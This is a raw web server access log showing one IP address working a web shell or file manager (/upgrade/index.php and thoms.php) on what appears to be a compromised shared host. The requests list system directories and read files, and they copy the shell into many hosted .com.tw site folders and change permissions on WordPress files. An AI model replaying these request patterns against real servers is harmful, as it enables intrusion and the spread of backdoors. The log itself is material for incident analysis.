45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file HTTP/1.1" 200 6450 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6606 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2F HTTP/1.1" 200 5758 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6430 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/?location=%2F%2Flost+found HTTP/1.1" 200 6448 "http://163.245.207.76:443/upgrade/?location=%2F%2Flost+found" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/?location=%2F%2Fscripts HTTP/1.1" 200 37718 "http://163.245.207.76:443/upgrade/?location=%2F%2Fscripts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/?location=%2F%2Fhome HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2F%2Fhome" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/?location=%2F%2Fvar HTTP/1.1" 200 7366 "http://163.245.207.76:443/upgrade/?location=%2F%2Fvar" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:20 -0400] "GET /upgrade/?file_location=%2F%2F%2Fimunify-release-latest.el9.rpm&location=%2F%2F HTTP/1.1" 200 14166 "http://163.245.207.76:443/upgrade/?file_location=%2F%2F%2Fimunify-release-latest.el9.rpm&location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:20 -0400] "GET /upgrade/?location=%2F%2Fbin HTTP/1.1" 200 95807 "http://163.245.207.76:443/upgrade/?location=%2F%2Fbin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:20 -0400] "GET /upgrade/?location=%2F%2Flib64 HTTP/1.1" 200 103785 "http://163.245.207.76:443/upgrade/?location=%2F%2Flib64" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:20 -0400] "GET /upgrade/?location=%2F%2Fproc HTTP/1.1" 200 27547 "http://163.245.207.76:443/upgrade/?location=%2F%2Fproc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:21 -0400] "GET /upgrade/?location=%2F%2Fsrv HTTP/1.1" 200 5698 "http://163.245.207.76:443/upgrade/?location=%2F%2Fsrv" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:21 -0400] "GET /upgrade/?file_location=%2F%2F%2Fprovision-status%3Fmac%3D9c%3A6b%3A00%3A2e%3A1f%3A53&location=%2F%2F&message=Post-installation+scripts HTTP/1.1" 200 7867 "http://163.245.207.76:443/upgrade/?file_location=%2F%2F%2Fprovision-status%3Fmac%3D9c%3A6b%3A00%3A2e%3A1f%3A53&location=%2F%2F&message=Post-installation+scripts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:21 -0400] "GET /upgrade/?location=%2F%2F&option=dir HTTP/1.1" 200 7764 "http://163.245.207.76:443/upgrade/?location=%2F%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:21 -0400] "GET /upgrade/?location=%2F%2Fboot HTTP/1.1" 200 8084 "http://163.245.207.76:443/upgrade/?location=%2F%2Fboot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:21 -0400] "GET /upgrade/?location=%2F%2Fdev HTTP/1.1" 200 7087 "http://163.245.207.76:443/upgrade/?location=%2F%2Fdev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fsys HTTP/1.1" 200 6343 "http://163.245.207.76:443/upgrade/?location=%2F%2Fsys" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?file_location=%2F%2F%2Fquota.user&location=%2F%2F HTTP/1.1" 200 8538 "http://163.245.207.76:443/upgrade/?file_location=%2F%2F%2Fquota.user&location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fafs HTTP/1.1" 200 5698 "http://163.245.207.76:443/upgrade/?location=%2F%2Fafs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fbackup HTTP/1.1" 200 5727 "http://163.245.207.76:443/upgrade/?location=%2F%2Fbackup" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Flib HTTP/1.1" 200 8122 "http://163.245.207.76:443/upgrade/?location=%2F%2Flib" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fmnt HTTP/1.1" 200 5699 "http://163.245.207.76:443/upgrade/?location=%2F%2Fmnt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fopt HTTP/1.1" 200 6261 "http://163.245.207.76:443/upgrade/?location=%2F%2Fopt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/index.php?location=%2F%2F HTTP/1.1" 200 7760 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fadmin HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/?location=%2F%2Fadmin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2Fmedia HTTP/1.1" 200 5698 "http://163.245.207.76:443/upgrade/?location=%2F%2Fmedia" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?file_location=%2F%2F%2F.autorelabel&location=%2F%2F HTTP/1.1" 200 7812 "http://163.245.207.76:443/upgrade/?file_location=%2F%2F%2F.autorelabel&location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:22 -0400] "GET /upgrade/?location=%2F%2F&option=file HTTP/1.1" 200 7764 "http://163.245.207.76:443/upgrade/?location=%2F%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2Froot HTTP/1.1" 200 5723 "http://163.245.207.76:443/upgrade/?location=%2F%2Froot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2Fsbin HTTP/1.1" 200 37318 "http://163.245.207.76:443/upgrade/?location=%2F%2Fsbin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2Ftmp HTTP/1.1" 200 9991 "http://163.245.207.76:443/upgrade/?location=%2F%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2F HTTP/1.1" 200 7755 "http://163.245.207.76:443/upgrade/?location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2Fetc HTTP/1.1" 200 28673 "http://163.245.207.76:443/upgrade/?location=%2F%2Fetc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 15964673 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2Frun HTTP/1.1" 200 11635 "http://163.245.207.76:443/upgrade/?location=%2F%2Frun" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2Fusr HTTP/1.1" 200 6666 "http://163.245.207.76:443/upgrade/?location=%2F%2Fusr" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?location=%2F%2F&option=folder HTTP/1.1" 200 7767 "http://163.245.207.76:443/upgrade/?location=%2F%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:23 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2F HTTP/1.1" 200 7827 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7912 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7661 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2F HTTP/1.1" 200 5764 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=upgrade HTTP/1.1" 200 11318 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=cgi-bin HTTP/1.1" 200 11319 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wp-content HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16032 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13753 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /bft.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?p=bft.com.tw&view=thoms.php HTTP/1.1" 200 11814 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:26 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?chmod=wp-includes&p=bft.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /bft.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fthoms.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16040 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?p=bft.com.tw&settings=1 HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:27 -0400] "GET /thoms.php?chmod=sync-sample&p=bft.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=sync-sample&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
